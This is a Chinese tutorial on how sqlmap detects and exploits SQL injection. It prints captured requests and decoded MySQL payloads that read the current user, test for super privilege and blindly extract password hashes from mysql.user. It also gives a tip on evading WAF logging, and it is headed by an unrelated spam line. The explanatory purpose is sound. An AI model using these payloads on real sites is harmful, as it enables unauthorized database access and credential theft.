自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

聊一聊SQLMAP在進(jìn)行SQL注入時(shí)的整個(gè)流程

安全 網(wǎng)站安全
本文就用我們看的見(jiàn)的角度來(lái)分析,看看sqlmap到底發(fā)送了什么payload,這些payload是怎么出來(lái)的,不深入代碼層面。

很多小伙伴在發(fā)現(xiàn)或者判斷出注入的時(shí)候,大多數(shù)選擇就是直接上sqlmap,結(jié)果往往也不盡人意,于是就有想法來(lái)寫(xiě)寫(xiě) sqlmap 從執(zhí)行到判斷注入,到底發(fā)生了什么?

本文就用我們看的見(jiàn)的角度來(lái)分析,看看sqlmap到底發(fā)送了什么payload,這些payload是怎么出來(lái)的,不深入代碼層面。

測(cè)試環(huán)境:

  1. sqlmap(1.3.6.58#dev)  
  2. Burp Suite  
  3. http://attack.com?1.php?id=1 

測(cè)試方式

利用 sqlmap 的 proxy 參數(shù),我們將代理設(shè)置為 8080 端口用 burpsuite 進(jìn)行抓包。

  1. sqlmap.py -u "http://attack.com?1.php?id=1" --proxy="http://127.0.0.1:8080" 

(測(cè)試了很久好像本地搭建的環(huán)境無(wú)法抓包,所以就找了有注入點(diǎn)的網(wǎng)站,漏洞已上報(bào)給漏洞平臺(tái))

抓取到的包如下 :

sqlmap 的準(zhǔn)備工作

我們也觀察到,sqlmap 默認(rèn)發(fā)送的 User-Agent 是這樣的。

  1. User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org) 

所以為了避免被 waf 或者日志里面記錄,我們一般可以添加一個(gè) --random-agent 參數(shù)在后面。

首先我們的 sqlmap 會(huì)連續(xù)發(fā)送出很多數(shù)據(jù)包來(lái)檢測(cè)目標(biāo)網(wǎng)站是否穩(wěn)定:

  1. GET /xxxx.php?id=1 HTTP/1.1 
  2. Host: www.xxxx.xxx 
  3. Accept: */* 
  4. User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org) 
  5. Connection: close 
  6. Cache-Control: no-cache 
  7.  
  8. [INFO] testing connection to the target URL 
  9. [INFO] testing if the target URL content is stable 
  10. [INFO] target URL content is stable 

接下來(lái)會(huì)檢測(cè)是否為 dynamic,和上面的請(qǐng)求包相比,sqlmap 修改了 id 后面的值。

  1. GET /xxxx.php?id=2324 HTTP/1.1 
  2. Host: www.xxx.xxx 
  3. Accept: */* 
  4. User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org) 
  5. Connection: close 
  6. Cache-Control: no-cache 
  7.  
  8. [INFO] testing if GET parameter 'id' is dynamic 

看不懂這是什么騷操作,我們來(lái)看看源碼里面怎么說(shuō) (sqlmap\lib\controller\checks.py)。

  1. def checkDynParam(place, parameter, value): 
  2.     """ 
  3.     This function checks if the URL parameter is dynamic. If it is 
  4.     dynamic, the content of the page differs, otherwise the 
  5.     dynamicity might depend on another parameter. 
  6.     """ 

根據(jù)輸出語(yǔ)句的關(guān)鍵詞查找,我追蹤到了這個(gè) checkDynParam 函數(shù),大概的作用就是修改我們現(xiàn)在獲取到的參數(shù)值,看修改前后的頁(yè)面返回是否相同(有的時(shí)候注入有多個(gè)參數(shù),那么有些無(wú)關(guān)緊要的參數(shù)修改后頁(yè)面是沒(méi)有變化的),若有變化(或者說(shuō)這個(gè)參數(shù)是真實(shí)有效的),sqlmap 才會(huì)走到下一步。

下一步的數(shù)據(jù)包和功能如下:

  1. GET /xxxx.php?id=1%27.%29%2C%2C.%28.%29%22 HTTP/1.1 
  2. Host: www.xxx.xxx 
  3. Accept: */* 
  4. User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org) 
  5. Connection: close 
  6. Cache-Control: no-cache 
  7.  
  8. [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL') 

我們將上面的 url 編碼解碼:

  1. /xxxx.php?id=1%27.%29%2C%2C.%28.%29%22 
  2. /xxxx.php?id=1'.),,.(.)" 

這幾個(gè)字符串就能判斷是 MySQL 數(shù)據(jù)庫(kù)?又是什么騷操作,再看看源碼吧 (sqlmap\lib\controller\ckecks.py):

  1. infoMsg += " (possible DBMS: '%s')" % Format.getErrorParsedDBMSes() 

找到了一條語(yǔ)句,跟蹤這個(gè) getErrorParsedDBMSes() 函數(shù)。

  1. def getErrorParsedDBMSes(): 
  2.         """ 
  3.         Parses the knowledge base htmlFp list and return its values 
  4.         formatted as a human readable string. 
  5.  
  6.         @return: list of possible back-end DBMS based upon error messages 
  7.         parsing. 
  8.         @rtype: C{str} 
  9.         """ 

那么這個(gè)函數(shù)就是通過(guò)報(bào)錯(cuò)信息(就是上面的 payload) 來(lái)辨別數(shù)據(jù)庫(kù)的類(lèi)型,剛好我找的這個(gè)網(wǎng)站也是爆出了 MySQL 語(yǔ)句的錯(cuò)誤,然后就通過(guò)正則 (sqlmap/data/xml/errors.xml) 識(shí)別出來(lái)啦,篇幅原因源碼就不分析了。

sqlmap 的注入分析

  1. it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp 
  2. ecific for other DBMSes? [Y/n] Y 
  3. for the remaining tests, do you want to include all tests for 'MySQL' extending 
  4. provided level (1) and risk (1) values? [Y/n] Y 

上面 sqlmap 已經(jīng)得到了數(shù)據(jù)庫(kù)的類(lèi)型并且參數(shù)也是有效的,接下來(lái)往下走 sqlmap 就開(kāi)始判斷注入了(這里直接用-v3 參數(shù)顯示 payload 更加的清晰)。

這一塊也是大家最需要搞清楚的一部分,很多小伙伴看著感覺(jué)有注入,哎,上 sqlmap,然后基本上一片紅,但是實(shí)際上,按照 sqlmap 對(duì)注入的分類(lèi),我們可以更加清晰的了解 sqlmap 到底做了什么,這些東西是從哪里出來(lái)。

首先要說(shuō)一下,sqlmap 有一個(gè) —technique 參數(shù),在運(yùn)行的整個(gè)過(guò)程中,也是按照這幾類(lèi)來(lái)檢測(cè)的:

  1. --technique=TECH..  SQL injection techniques to use (default "BEUSTQ") 
  2. B: Boolean-based blind SQL injection(布爾型注入) 
  3. E: Error-based SQL injection(報(bào)錯(cuò)型注入) 
  4. U: UNION query SQL injection(可聯(lián)合查詢(xún)注入) 
  5. S: Stacked queries SQL injection(可多語(yǔ)句查詢(xún)注入) 
  6. T: Time-based blind SQL injection(基于時(shí)間延遲注入) 
  7. Q: inline_query SQL injection(內(nèi)聯(lián)注入) 

對(duì)這幾種注入還不熟練于心的小伙伴們要好好補(bǔ)一下基礎(chǔ)。

那么這些主要的注入語(yǔ)句,我們可以在 sqlmap/data/xml/queries.xml 中查看了解,總結(jié)的還是挺全面的,這里截取一部分出來(lái)。

  1. <dbms value="MySQL"> 
  2.         <cast query="CAST(%s AS CHAR)"/> 
  3.         <length query="CHAR_LENGTH(%s)"/> 
  4.         <isnull query="IFNULL(%s,' ')"/> 
  5.         <delimiter query=","/> 
  6.         <limit query="LIMIT %d,%d"/> 
  7.         <limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/> 
  8.         <limitgroupstart query="1"/> 
  9.         <limitgroupstop query="2"/> 
  10.         <limitstring query=" LIMIT "/> 
  11.         <order query="ORDER BY %s ASC"/> 
  12.         <count query="COUNT(%s)"/> 
  13.         <comment query="-- -" query2="/*" query3="#"/> 
  14.         <substring query="MID((%s),%d,%d)"/> 
  15.         <concatenate query="CONCAT(%s,%s)"/> 
  16.         <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/> 
  17.         <hex query="HEX(%s)"/> 
  18.         <inference query="ORD(MID((%s),%d,1))>%d"/> 
  19.         <banner query="VERSION()"/> 
  20.         <current_user query="CURRENT_USER()"/> 
  21.         <current_db query="DATABASE()"/> 
  22.         <hostname query="@@HOSTNAME"/> 
  23. ...... 
  24. ...... 
  25. ...... 

對(duì)于每種類(lèi)型的注入語(yǔ)句需要如何組合,在 sqlmap/data/xml/payloads 下有六個(gè)文件,里面主要是定義了測(cè)試的名稱(chēng)(也就是我們控制臺(tái)中輸出的內(nèi)容)、風(fēng)險(xiǎn)等級(jí)、一些 payload 的位置等,了解一下就行了。

  1. <test> 
  2.         <title>Generic UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns (custom)</title> 
  3.         <stype>6</stype> 
  4.         <level>1</level> 
  5.         <risk>1</risk> 
  6.         <clause>1,2,3,4,5</clause> 
  7.         <where>1</where> 
  8.         <vector>[UNION]</vector> 
  9.         <request> 
  10.             <payload/> 
  11.             <comment>[GENERIC_SQL_COMMENT]</comment> 
  12.             <char>[CHAR]</char> 
  13.             <columns>[COLSTART]-[COLSTOP]</columns> 
  14.         </request> 
  15.         <response> 
  16.             <union/> 
  17.         </response> 
  18.     </test> 

同目錄下還有一個(gè) boundaries.xml 文件,里面主要是定義了一些閉合的符號(hào),比方說(shuō)我們注入點(diǎn)需要閉合,添加單引號(hào)、雙引號(hào)、括號(hào)等一系列的組合方式,就是從這個(gè)文件當(dāng)中提取出來(lái)的。

  1. <boundary> 
  2.        <level>3</level> 
  3.        <clause>1</clause> 
  4.        <where>1,2</where> 
  5.        <ptype>3</ptype> 
  6.        <prefix>'))</prefix> 
  7.        <suffix> AND (('[RANDSTR]' LIKE '[RANDSTR]</suffix> 
  8.    </boundary> 

所以梳理一下思路,我們最終會(huì)發(fā)送給目標(biāo)服務(wù)器的 payload,首先是需要閉合的 (boundaries.xml),然后從對(duì)應(yīng)的注入類(lèi)型的各種測(cè)試模板中提取相應(yīng)的參數(shù)(比如:boolean_blind.xml),然后在 queries.xml 中取出相應(yīng)的表達(dá)式,***通過(guò) tamper 的渲染,輸出我們最終的 payload,也就是我們的 -v3 參數(shù)。

sqlmap 的一些參數(shù)

我們主要分析以下兩個(gè)命令:

  1. --is-dba 
  2. --passwords 

命令主要是判斷 mysql 用戶的一些信息,當(dāng)我們發(fā)現(xiàn)注入可以利用的時(shí)候,下一步就是要看當(dāng)前用戶的權(quán)限看能有什么的操作了。

1. 判斷是否是 dba 權(quán)限

sqlmap 一共發(fā)了兩個(gè)請(qǐng)求包:

  1. GET /xxxx.php?id=-2478%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280xxxxxxx%2CIFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%29%2C0x20%29%2C0x7176786b71%29%2CNULL%2CNULL--%20HZdP HTTP/1.1 
  2. Host: www.xxxx.xxx 
  3. Accept: */* 
  4. User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org) 
  5. Connection: close 
  6. Cache-Control: no-cache 
  7.  
  8.  
  9. GET /xxxx.php?id=-6628%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CCONCAT%280x7178787871%2C%28CASE%20WHEN%20%28%28SELECT%20super_priv%20FROM%20mysql.user%20WHERE%20user%3D0xxxxxxxx%20LIMIT%200%2C1%29%3D0x59%29%20THEN%201%20ELSE%200%20END%29%2C0x7170627071%29--%20mOPV HTTP/1.1 
  10. Host: www.xxxx.xxx 
  11. Accept: */* 
  12. User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org) 
  13. Connection: close 
  14. Cache-Control: no-cache 

將 payload 解碼:

  1. /xxxx.php?id=-2478 UNION ALL SELECT NULL,CONCAT(0x71766a6271,IFNULL(CAST(CURRENT_USER() AS CHAR),0x20),0xxxxx),NULL,NULL-- HZdP 
  2.  
  3. /xxxx.php?id=-6628 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7178787871,(CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=0xxxxx LIMIT 0,1)=0x59) THEN 1 ELSE 0 END),0x7170627071)-- mOPV 

我們直接在 mysql 控制臺(tái)下執(zhí)行命令:

***個(gè)命令返回了用戶名, 0x71766a6271 解碼為 qvjbq,那么這一步我們可以提取出用戶名了。

第二個(gè)命令返回了 1 ,我們將查詢(xún)命令提取出來(lái):

  1. SELECT super_priv FROM mysql.user WHERE user=0xxxxx LIMIT 0,1 

在 mysql 數(shù)據(jù)庫(kù)下的 user 表中查詢(xún) super_priv (超級(jí)權(quán)限)的值:

返回了 Y,所以我們判斷是否為 dba 的思路就是通過(guò)查看 mysql.user 下 super_priv 的值。

這個(gè)命令有一個(gè)坑,有的時(shí)候我們所注入的服務(wù)器上面并沒(méi)有 mysql 這個(gè)數(shù)據(jù)庫(kù),所以用這個(gè)命令的前提是 mysql 這個(gè)數(shù)據(jù)庫(kù)要存在。

2. 查詢(xún)密碼

抓的包:

  1. GET /xxx.php?id=1%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28DISTINCT%28authentication_string%29%29%20AS%20CHAR%29%2C0x20%29%20FROM%20mysql.user%20WHERE%20user%3D0x64623833323331%29%2C1%2C1%29%29%3E48 HTTP/1.1 
  2. Host: www.xxxx.xxx 
  3. Accept: */* 
  4. User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org) 
  5. Connection: close 
  6. Cache-Control: no-cache 

解碼:

  1. /xxxx.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(authentication_string)) AS CHAR),0x20) FROM mysql.user WHERE user=0xxxxx),1,1))>48 

這里有個(gè)很有趣的地方,我的 sqlmap 是 1.3.6 的版本,不知道之前的是不是,他是從 mysql.user 中獲取 authentication_string 的值,但是很有趣的是,這個(gè)值只有在 mysql 版本 5.7 以上,password 才會(huì)變成 authentication_string,我們也可以從 queries.xml 中找到這條語(yǔ)句:

  1. <passwords> 
  2.             <inband query="SELECT user,authentication_string FROM mysql.user" condition="user"/> 
  3.             <blind query="SELECT DISTINCT(authentication_string) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(authentication_string)) FROM mysql.user WHERE user='%s'"/> 
  4. </passwords> 

發(fā)現(xiàn)默認(rèn)就是這個(gè) authentication_string,所以我們這里直接修改 queries.xml 中的語(yǔ)句,將查詢(xún)的列明改成 password 再測(cè)試一下。

后面測(cè)試發(fā)現(xiàn),我們?cè)跊](méi)有修改的情況下,sqlmap 也會(huì)跑出密碼,而且查看 payload 之后,sqlmap 先是查了 authentication_string,然后查了 password:

看下源碼,然后找到了( sqlmap/plugins/generic/users.py):

  1. values = inject.getValue(query.replace("authentication_string", "password"), blind=Falsetime=False

這里用 replace 將兩個(gè)列明進(jìn)行了替換,里面有個(gè) ifel 的語(yǔ)句,要是***次沒(méi)找到就會(huì)進(jìn)行替換,這樣我們的問(wèn)題就解決掉啦,sqlmap 還是想的挺周全的哈哈。

總結(jié)

sqlmap 里面的內(nèi)容實(shí)在是太多太多,想要摸索里面的內(nèi)容需要花費(fèi)大量的時(shí)間,當(dāng)然收獲也是成正比的,搞清楚sqlmap 的流程原理,對(duì)我們 sql 注入技術(shù)會(huì)有很大的提升。

責(zé)任編輯:趙寧寧 來(lái)源: 信安之路
相關(guān)推薦

2021-08-09 06:57:41

CodeReview流程

2021-08-26 09:31:40

Nacos配置注冊(cè)

2022-10-09 08:35:06

SQL自定義排序

2023-07-06 13:56:14

微軟Skype

2020-09-08 06:54:29

Java Gradle語(yǔ)言

2016-01-15 09:51:27

AngularJS實(shí)際應(yīng)用

2023-09-22 17:36:37

2021-01-28 22:31:33

分組密碼算法

2020-05-22 08:16:07

PONGPONXG-PON

2018-06-07 13:17:12

契約測(cè)試單元測(cè)試API測(cè)試

2021-08-01 09:55:57

Netty時(shí)間輪中間件

2023-09-27 16:39:38

2024-10-28 21:02:36

消息框應(yīng)用程序

2021-12-06 09:43:01

鏈表節(jié)點(diǎn)函數(shù)

2021-03-01 18:37:15

MySQL存儲(chǔ)數(shù)據(jù)

2023-09-20 23:01:03

Twitter算法

2021-07-16 11:48:26

模型 .NET微軟

2021-08-04 09:32:05

Typescript 技巧Partial

2022-08-08 08:25:21

Javajar 文件

2022-11-01 08:46:20

責(zé)任鏈模式對(duì)象
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)